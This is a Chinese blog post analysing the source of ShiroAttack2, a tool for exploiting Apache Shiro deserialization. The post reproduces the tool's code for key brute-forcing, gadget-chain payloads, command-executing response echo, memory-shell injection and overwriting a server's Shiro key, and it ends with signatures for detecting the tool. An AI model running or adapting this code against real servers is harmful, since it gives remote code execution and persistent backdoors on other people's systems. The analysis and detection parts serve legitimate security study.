前言 最近想要针对Shiro的利用工具扩展利用链,但自己完全写一个工具即麻烦也没有必要,因此想要通过SummerSec
师傅开源的工具**ShiroAttack2 **扩展来实现,既然要扩展首先就得了解项目的源码实现。本片文章中我不会通篇的对这个项目代码进行分析,只抽出几个我认为的要点进行分析。
源码分析 密钥验证 在这款工具中,密钥验证主要是分为两种情况,一种是用户指定密钥,一种是未指定密钥时爆破密钥。无论是使用哪种方式来验证key都需要调用checkIsShiro
方法判断是否为shiro。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 @FXML void crackSpcKeyBtn (ActionEvent event) { this .initAttack(); if (this .attackService.checkIsShiro()) { String spcShiroKey = this .shiroKey.getText(); if (!spcShiroKey.equals("" )) { this .attackService.simpleKeyCrack(spcShiroKey); } else { this .logTextArea.appendText(Utils.log("请输入指定密钥" )); } } } @FXML void crackKeyBtn (ActionEvent event) { this .initAttack(); if (this .attackService.checkIsShiro()) { this .attackService.keysCrack(); } }
checkIsShiro
首先指定remeberMe=1
通过返回结果是否包含deleteMe
来判断是否为shiro框架。如果返回结果没有deleteMe
则生成一个10位的随机数作为remeberMe
的内容再去请求。这里之所以要生成一个位随机数我推测可能是防止WAF将remeberMe=1
当作特征拦了。但是我这里还是想到了一种拦截思路,如果检测到rememberMe=1
WAF直接阻断请求,那result
的返回内容就会是null
,在result.contains("=deleteMe")
中就会触发异常,导致直接进入catch
代码块,那样工具就无法检测是否为Shiro,后面的漏洞利用功能也会失效。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public boolean checkIsShiro () { boolean flag = false ; try { HashMap<String, String> header = new HashMap(); header.put("Cookie" , this .shiroKeyWord + "=1" ); String result = this .headerHttpRequest(header); flag = result.contains("=deleteMe" ); if (flag) { this .mainController.logTextArea.appendText(Utils.log("存在shiro框架!" )); flag = true ; } else { HashMap<String, String> header1 = new HashMap(); header1.put("Cookie" , this .shiroKeyWord + "=" + AttackService.getRandomString(10 )); String result1 = this .headerHttpRequest(header1); flag = result1.contains("=deleteMe" ); if (flag){ this .mainController.logTextArea.appendText(Utils.log("存在shiro框架!" )); flag = true ; }else { this .mainController.logTextArea.appendText(Utils.log("未发现shiro框架!" )); } } } catch (Exception var4) { if (var4.getMessage() != null ) { this .mainController.logTextArea.appendText(Utils.log(var4.getMessage())); } } return flag; }
利用链爆破 无论使用什么利用链都需要和回显的方式配合,所以这里首先是拿出了利用链和回显方式并进行组合。组合后通过:
分割,通过gadgetCrack
检测这种利用链和回显方式是否存在。目前这款工具主要的利用链是CC利用链和Beanutils利用链。回显方式主要是Tomcat
和Spring
回显,作者后来版本也加了通用回显
,这些回显方式之后我会分析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 void crackGadgetBtn (ActionEvent event) { String spcShiroKey = this .shiroKey.getText(); if (this .attackService == null ) { this .initAttack(); } boolean flag = false ; if (!spcShiroKey.equals("" )) { List<String> targets = this .attackService.generateGadgetEcho(this .gadgetOpt.getItems(), this .echoOpt.getItems()); for (int i = 0 ; i < targets.size(); ++i) { String[] t = ((String)targets.get(i)).split(":" ); String gadget = t[0 ]; String echo = t[1 ]; flag = this .attackService.gadgetCrack(gadget, echo, spcShiroKey); if (flag) { break ; } } } else { this .logTextArea.appendText(Utils.log("请先手工填入key或者爆破Shiro key" )); } if (!flag) { this .logTextArea.appendText(Utils.log("未找到构造链" )); } }
gadgetCrack
生成remeberMe
的内容并加上Ctmd
请求头,最后判断返回中是否包含08fb41620aa4c498a1f2ef09bbc1183c
判断是否利用成功,这里也可以当作这款工具的特征。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public boolean gadgetCrack (String gadgetOpt, String echoOpt, String spcShiroKey) { boolean flag = false ; try { String rememberMe = this .GadgetPayload(gadgetOpt, echoOpt, spcShiroKey); if (rememberMe != null ) { HashMap header = new HashMap(); header.put("Cookie" , rememberMe + ";" ); header.put("Ctmd" , "08fb41620aa4c498a1f2ef09bbc1183c" ); String result = this .headerHttpRequest(header); if (result.contains("08fb41620aa4c498a1f2ef09bbc1183c" )) { this .mainController.logTextArea.appendText(Utils.log("[*] 发现构造链:" + gadgetOpt + " 回显方式: " + echoOpt)); this .mainController.logTextArea.appendText(Utils.log("[*] 请尝试进行功能区利用。" )); this .mainController.gadgetOpt.setValue(gadgetOpt); this .mainController.echoOpt.setValue(echoOpt); gadget = gadgetOpt; attackRememberMe = rememberMe; flag = true ; } else { this .mainController.logTextArea.appendText(Utils.log("[x] 测试:" + gadgetOpt + " 回显方式: " + echoOpt)); } } } catch (Exception var8) { this .mainController.logTextArea.appendText(Utils.log(var8.getMessage())); } return flag; }
下面分析remeberMe
生成部分,主要包含四个部分。
获取利用链的Class对象并实例化
根据回显方式创建TemplatesImpl
对象
传入TemplatesImpl
通过getObject获取构建好的恶意对象
构建好恶意对象后AES加密后返回
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public String GadgetPayload (String gadgetOpt, String echoOpt, String spcShiroKey) { String rememberMe = null ; try { Class<? extends ObjectPayload> gadgetClazz = com.summersec.attack.deser.payloads.ObjectPayload.Utils.getPayloadClass(gadgetOpt); ObjectPayload<?> gadgetPayload = (ObjectPayload)gadgetClazz.newInstance(); Object template = Gadgets.createTemplatesImpl(echoOpt); Object chainObject = gadgetPayload.getObject(template); rememberMe = shiro.sendpayload(chainObject, this .shiroKeyWord, spcShiroKey); } catch (Exception var9) { this .mainController.logTextArea.appendText(Utils.log(var9.getMessage())); } return rememberMe; }
获取利用链的Class对象并实例化
根据类名获取对应的Class对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public interface ObjectPayload <T > { T getObject (Object paramObject) throws Exception ; public static class Utils { public static Class<? extends ObjectPayload> getPayloadClass(String className) { Class<? extends ObjectPayload> clazz = null ; try { clazz = (Class)Class.forName("com.summersec.attack.deser.payloads." + StringUtils.capitalize(className)); } catch (Exception exception) {} return clazz; } } }
根据回显方式创建TemplatesImpl对象
通过Javasist生成回显类并转换为字节码赋值给_bytecodes
属性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public static <T> T createTemplatesImpl (String payload, Class<T> tplClass, Class<?> abstTranslet) throws Exception { T templates = tplClass.newInstance(); ClassPool pool = ClassPool.getDefault(); Class<? extends EchoPayload> echoClazz = Utils.getPayloadClass(payload); EchoPayload<?> echoObj = (EchoPayload)echoClazz.newInstance(); CtClass clazz = echoObj.genPayload(pool); CtClass superClass = pool.get(abstTranslet.getName()); clazz.setSuperclass(superClass); byte [] classBytes = clazz.toBytecode(); Field bcField = TemplatesImpl.class.getDeclaredField("_bytecodes" ); bcField.setAccessible(true ); bcField.set(templates, new byte [][]{classBytes}); Field nameField = TemplatesImpl.class.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates, "a" ); return templates; }
通过getObject获取恶意对象
通过getObject方法获取恶意对象,在这个工具里使用的利用链主要为CC链和Beanutils
链。
AES加密构建好的恶意对象
由于Shiro在高版本中更换了GCM加密方式,因此根据版本的不同选择不同的加密算法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public String sendpayload (Object chainObject, String shiroKeyWord, String key) throws Exception { byte [] serpayload = SerializableUtils.toByteArray(chainObject); byte [] bkey = DatatypeConverter.parseBase64Binary(key); byte [] encryptpayload = null ; if (AttackService.aesGcmCipherType == 1 ) { GcmEncrypt gcmEncrypt = new GcmEncrypt(); String byteSource = gcmEncrypt.encrypt(key,serpayload); System.out.println(shiroKeyWord + "=" + byteSource); return shiroKeyWord + "=" + byteSource; } else { encryptpayload = AesUtil.encrypt(serpayload, bkey); } return shiroKeyWord + "=" + DatatypeConverter.printBase64Binary(encryptpayload); }
关于利用链这里我想多提一些内容,因为本来分析这款工具的原理就是为了扩展利用链。通过上面的分析可以看到作者做了一个抽象,getObject
传入的对象是构建好的TemplateImpl
对象,所以这也是作者实现的利用链不多的原因,因为不是所有的利用链封装的都是TemplateImpl
对象,而且也有很多利用方式无法回显利用。
回显方式分析 Tomcat Tomcat的回显主要的思路都是获取Response对象,并向Response中写入执行结果来实现,下面我对多种Tomcat回显的方式做一个简要总结。
ApplicationFilterChain#lastServicedResponse
中记录了response的内容,所以可以通过获取lastServicedResponse
来获取Response对象并进行写入。使用这种方式需要请求两次,因为在默认情况下lastServicedResponse
中并不会记录response
,所以第一次请求需要修改一个属性值让lastServicedResponse
记录response
。但是这种方式不能用在Shiro反序列化中回显,因为Shiro的反序列化发生在lastServicedResponse
缓存Response之前,所以我们无法在反序列化的过程中拿到缓存中的Response对象。
AbstractProcessor#response
中存储了Response对象,可以通过获取这个属性值获取response对象。这种方式是通过Thread.currentThread.getContextClassLoader()
获取webappClassLoader
,再获取到Context最后一层层反射获取Response对象。这种方式的主要问题是代码量过多,在Shiro的利用中可能由于请求头过大导致利用失败。虽然可以通过在RemeberMe中只实现一个ClassLoader加载Body中的Class这种方式绕过。但是这样设计可能会导致和其他回显的利用方式有些差别,导致代码无法复用,所以我猜测这也是作者没有使用这种方式回显的原因。
首先通过Thread.currentThread().getThreadGroup()
获取线程数组,从线程数组中找到包含http
但不包含exec
的线程。从保存的NioEndPoint
中拿到ConnectionHandler
,再从Handler中拿到RequestInfo
对象,最后从RequestInfo
中拿到Response。
最后一种方式是这款工具使用的方式,虽然这种获取方式比较简洁,但是好像没有师傅给出为什么要这么获取的原因,下面我尝试对这种利用方式做出解释。
首先我们要知道,这种方式实际上是从ClientPoller
线程中取出的NioEndPoint
对象,并拿到RequestInfo
对象。
为什么从ClientPoller
中可以拿到NioEndPoint
对象?
ClientPoller对象是在NioEndPoint#startInternal
时创建的,在创建ClientPoller
线程时传入了poller
对象作为target属性,因此可以从ClientPoller->target
中拿到poller对象,而Poller
又是NioEndpoint
的内部类,所以其this$0
持有外部类NioEndPoint
的引用。因此从ClientPoller
线程中获取到NioEndPoint
对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 @Override public void startInternal () throws Exception { ... initializeConnectionLatch(); poller = new Poller(); Thread pollerThread = new Thread(poller, getName() + "-ClientPoller" ); pollerThread.setPriority(threadPriority); pollerThread.setDaemon(true ); pollerThread.start(); startAcceptorThread(); } }
另外Acceptor
中也持有NioEndpoint
对象,因此也可以获取到RequestInfo
对象。
为什么要通过for循环进行遍历Thread?
虽然上面我们看到ClientPoller
线程只有一个,但是作者在实现工具的时候却使用了for循环遍历,这是为什么?
1 2 3 4 5 6 7 8 Thread[] var5 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads" ); for (int var6 = 0 ; var6 < var5.length; ++var6) { Thread var7 = var5[var6]; if (var7 != null ) { String var3 = var7.getName(); if (!var3.contains("exec" ) && var3.contains("http" )) { Object var1 = getFV(var7, "target" ); ...
我当前的环境是springboot
中内置的tomcat
,但是打开自己下载的tomcat
发现其实创建的ClientPoller
不一定只有一个,查阅资料默认配置下ClientPoller
的个数是CPU的核数。
1 2 3 4 5 6 7 8 pollers = new Poller[getPollerThreadCount()]; for (int i=0 ; i<pollers.length; i++) { pollers[i] = new Poller(); Thread pollerThread = new Thread(pollers[i], getName() + "-ClientPoller-" +i); pollerThread.setPriority(threadPriority); pollerThread.setDaemon(true ); pollerThread.start(); }
所以我认为这个for循环的这么写应该更合理一些
1 2 3 4 5 6 7 8 Thread[] var5 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads" ); for (int var6 = 0 ; var6 < var5.length; ++var6) { Thread var7 = var5[var6]; if (var7 != null ) { String var3 = var7.getName(); if (var3.contains("ClientPoller" )) { Object var1 = getFV(var7, "target" ); ...
或者通过Acceptor
来获取,Acceptor
主要用来接收连接,默认为一个。
1 2 3 4 5 if (var3.contains("Acceptor" )) { Object var1 = getFV(var7, "target" ); if (var1 instanceof Runnable) { try { var1 = getFV(getFV(getFV(var1, "endpoint" ), "handler" ), "global" );
Spring 通过RequestContextHolder
的静态方法获取RequestAttributes
对象,在通过getResponse
获取Response对象。
AllEcho 这种方式基本思路是遍历当前线程保存的所有非静态属性,直到找到Request
或Response
对象。默认遍历的深度是50层。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 private static void Find (Object start,int depth) { if (depth > max_depth||(req!=null &&resp!=null )){ return ; } Class n=start.getClass(); do { for (Field declaredField : n.getDeclaredFields()) { declaredField.setAccessible(true ); Object obj = null ; try { if (Modifier.isStatic(declaredField.getModifiers())){ }else { obj = declaredField.get(start); } if (obj != null ){ if (!obj.getClass().isArray()){ proc(obj,depth); }else { if (!obj.getClass().getComponentType().isPrimitive()) { for (Object o : (Object[]) obj) { proc(o, depth); } } } } }catch (Exception e){ e.printStackTrace(); } } }while ( (n = n.getSuperclass())!=null ); }
判断当前对象是否持有request和response类型,如果是则执行命令并写入Response。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 private static void proc (Object obj,int depth) { if (depth > max_depth||(req!=null &&resp!=null )){ return ; } if (!isSkiped(obj)){ if (req==null &&ReqC.isAssignableFrom(obj.getClass())){ req = (HttpServletRequest)obj; if (req.getHeader("cmd" )==null ) req=null ; }else if (resp==null &&RespC.isAssignableFrom(obj.getClass())){ resp = (HttpServletResponse) obj; } if (req!=null &&resp!=null ){ try { PrintWriter os = resp.getWriter(); Process proc = Runtime.getRuntime().exec(req.getHeader("cmd" )); proc.waitFor(); Scanner scanner = new Scanner(proc.getInputStream()); scanner.useDelimiter("\\A" ); os.print("Test by fnmsd " +scanner.next()); os.flush(); }catch (Exception e){ } return ; } Find(obj,depth+1 ); } }
内存马 由于注入内存马的代码量比较大,直接将数据带到请求头中会导致请求头过大而注入失败,所以这里作者将实际内存马的内容和注入的代码分开,post的参数dy中才是真正注入内存马的代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public void injectMem (String memShellType, String shellPass, String shellPath) { String injectRememberMe = this .GadgetPayload(gadget, "InjectMemTool" , realShiroKey); if (injectRememberMe != null ) { HashMap<String, String> header = new HashMap(); header.put("Cookie" , injectRememberMe); header.put("p" , shellPass); header.put("path" , shellPath); try { String b64Bytecode = MemBytes.getBytes(memShellType); String postString = "dy=" + b64Bytecode; String result = this .bodyHttpRequest(header, postString); if (result.contains("->|Success|<-" )) { String httpAddress = Utils.UrlToDomain(this .url); this .mainController.InjOutputArea.appendText(Utils.log(memShellType + " 注入成功!" )); this .mainController.InjOutputArea.appendText(Utils.log("路径:" + httpAddress + shellPath)); if (!memShellType.equals("reGeorg[Servlet]" )) { this .mainController.InjOutputArea.appendText(Utils.log("密码:" + shellPass)); } } else { if (result.contains("->|" ) && result.contains("|<-" )) { this .mainController.InjOutputArea.appendText(Utils.log(result)); } this .mainController.InjOutputArea.appendText(Utils.log("注入失败,请更换注入类型或者更换新路径" )); } } catch (Exception var10) { this .mainController.InjOutputArea.appendText(Utils.log(var10.getMessage())); } this .mainController.InjOutputArea.appendText(Utils.log("-------------------------------------------------" )); } }
下面我们看下InjectMemTool
的内容,下面是InjectMemTool
构造方法的内容,前面内容和Tomcat
回显的内容相同,从线程数组中获取request和response对象,我没有在代码中给出来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 o = getFV(p, \"req\"); resp = o.getClass().getMethod(\"getResponse\", new Class[0]).invoke(o, new Object[0]); Object conreq = o.getClass().getMethod(\"getNote\", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)}); //获取dy参数保存的内容 dy = (String) conreq.getClass().getMethod(\"getParameter\", new Class[]{String.class}).invoke(conreq, new Object[]{new String(\"dy\")}); if (dy != null && !dy.isEmpty()) { //base64解码 byte[] bytecodes = org.apache.shiro.codec.Base64.decode(dy); //获取defineClass方法 java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); //调用defineClass加载dy中保存的字节码 Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)}); //实例化对象并调用equals方法 cc.newInstance().equals(conreq); done = true; }
修改shiro key SummerSec
师傅实现了修改shiro key的功能了,有了这个功能渗透就真的是比手速了,或许以后渗透还需到了解如何动态修补各种漏洞,哈哈,开个玩笑。
修改Shiro key的思路是找到ShiroFilterFactoryBean
对象,从这个对象中可以拿到remeberMeMamanger
,这个对象中可以获取加密和解密的密钥。
在filterConfigs
中保存了ShiroFilterFactoryBean
实例,因此可以从中获取key。
SummerSec
师傅的实现代码如下,前面获取filterConfigs
的代码就不分析了,和注册Filter内存马的时候一致。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 org.apache.tomcat.util.threads.TaskThread thread = (org.apache.tomcat.util.threads.TaskThread) Thread.currentThread(); java.lang.reflect.Field field = thread.getClass().getSuperclass().getDeclaredField("contextClassLoader" ); field.setAccessible(true ); Object obj = field.get(thread); field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("resources" ); field.setAccessible(true ); obj = field.get(obj); field = obj.getClass().getDeclaredField("context" ); field.setAccessible(true ); obj = field.get(obj); field = obj.getClass().getSuperclass().getDeclaredField("filterConfigs" ); field.setAccessible(true ); obj = field.get(obj); java.util.HashMap<String, Object> objMap = (java.util.HashMap<String, Object>) obj; java.util.Iterator<Map.Entry<String, Object>> entries = objMap.entrySet().iterator(); while (entries.hasNext()) { Map.Entry<String, Object> entry = entries.next(); if (entry.getKey().equals("shiroFilterFactoryBean" )) { obj = entry.getValue(); field = obj.getClass().getDeclaredField("filter" ); field.setAccessible(true ); obj = field.get(obj); field = obj.getClass().getSuperclass().getDeclaredField("securityManager" ); field.setAccessible(true ); obj = field.get(obj); field = obj.getClass().getSuperclass().getDeclaredField("rememberMeManager" ); field.setAccessible(true ); obj = field.get(obj); java.lang.reflect.Method setEncryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setEncryptionCipherKey" , new Class[]{byte [].class}); byte [] bytes = this .base64Decode("FcoRsBKe9XB3zOHbxTG0Lw==" ); setEncryptionCipherKey.invoke(obj, new Object[]{bytes}); java.lang.reflect.Method setDecryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setDecryptionCipherKey" , new Class[]{byte [].class}); setDecryptionCipherKey.invoke(obj, new Object[]{bytes}); } }
但是这种方式有一个问题,如果我设置ShiroFilterFactoryBean
时设置了name属性,那么遍历filterConfigs
是,保存ShiroFilterFactoryBean
的Filter的名称就会是shiroFilter
,所以会修改失败。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @Bean( name = {"shiroFilter"} ) ShiroFilterFactoryBean shiroFilterFactoryBean (SecurityManager securityManager) { ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean(); bean.setSecurityManager(securityManager); bean.setLoginUrl("/login" ); bean.setUnauthorizedUrl("/unauth" ); Map<String, String> map = new LinkedHashMap(); map.put("/doLogin" , "anon" ); map.put("/index/**" , "authc" ); bean.setFilterChainDefinitionMap(map); return bean; }
但是无论有没有配置name属性,filter属性中保存的filter的类名一定是ShiroFilterFactoryBean
,所以我们可以先获取filter属性,然后查看类名是否为ShiroFilterFactoryBean
,如果是则通过反射调用修改key。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 while (entries.hasNext()) { Map.Entry<String, Object> entry = entries.next(); obj = entry.getValue(); field = obj.getClass().getDeclaredField("filter" ); field.setAccessible(true ); obj = field.get(obj); if (obj.getClass().toString().contains("ShiroFilterFactoryBean" )) { field = obj.getClass().getSuperclass().getDeclaredField("securityManager" ); field.setAccessible(true ); obj = field.get(obj); field = obj.getClass().getSuperclass().getDeclaredField("rememberMeManager" ); field.setAccessible(true ); obj = field.get(obj); java.lang.reflect.Method setEncryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setEncryptionCipherKey" , new Class[]{byte [].class}); byte [] bytes = this .base64Decode("FcoRsBKe9XB3zOHbxTG0Lw==" ); setEncryptionCipherKey.invoke(obj, new Object[]{bytes}); java.lang.reflect.Method setDecryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setDecryptionCipherKey" , new Class[]{byte [].class}); setDecryptionCipherKey.invoke(obj, new Object[]{bytes}); } }
总结 通过学习师傅写的工具,对很多技术的实现细节有了一些了解,确实也学到了很多。最后总结部分我想简单聊一下这个工具的利用特征。
·在验证key或者爆破key前,会发送RemeberMe=1,如果检测到Cookie中包含RemeberMe=1
直接将请求断开,会导致这个工具无法检测密钥,后续的功能也将无法用。
利用链爆破部分会发送Ctmd:08fb41620aa4c498a1f2ef09bbc1183c
作为是否可以回显的标志,这一部分是硬编码的,所以如果检测到包含Ctmd:08fb41620aa4c498a1f2ef09bbc1183c
,也是有人正在利用该工具检测shiro
内存马注入时,会在请求中加上p
和path
参数,并且会在post请求中加上dy
参数。
参考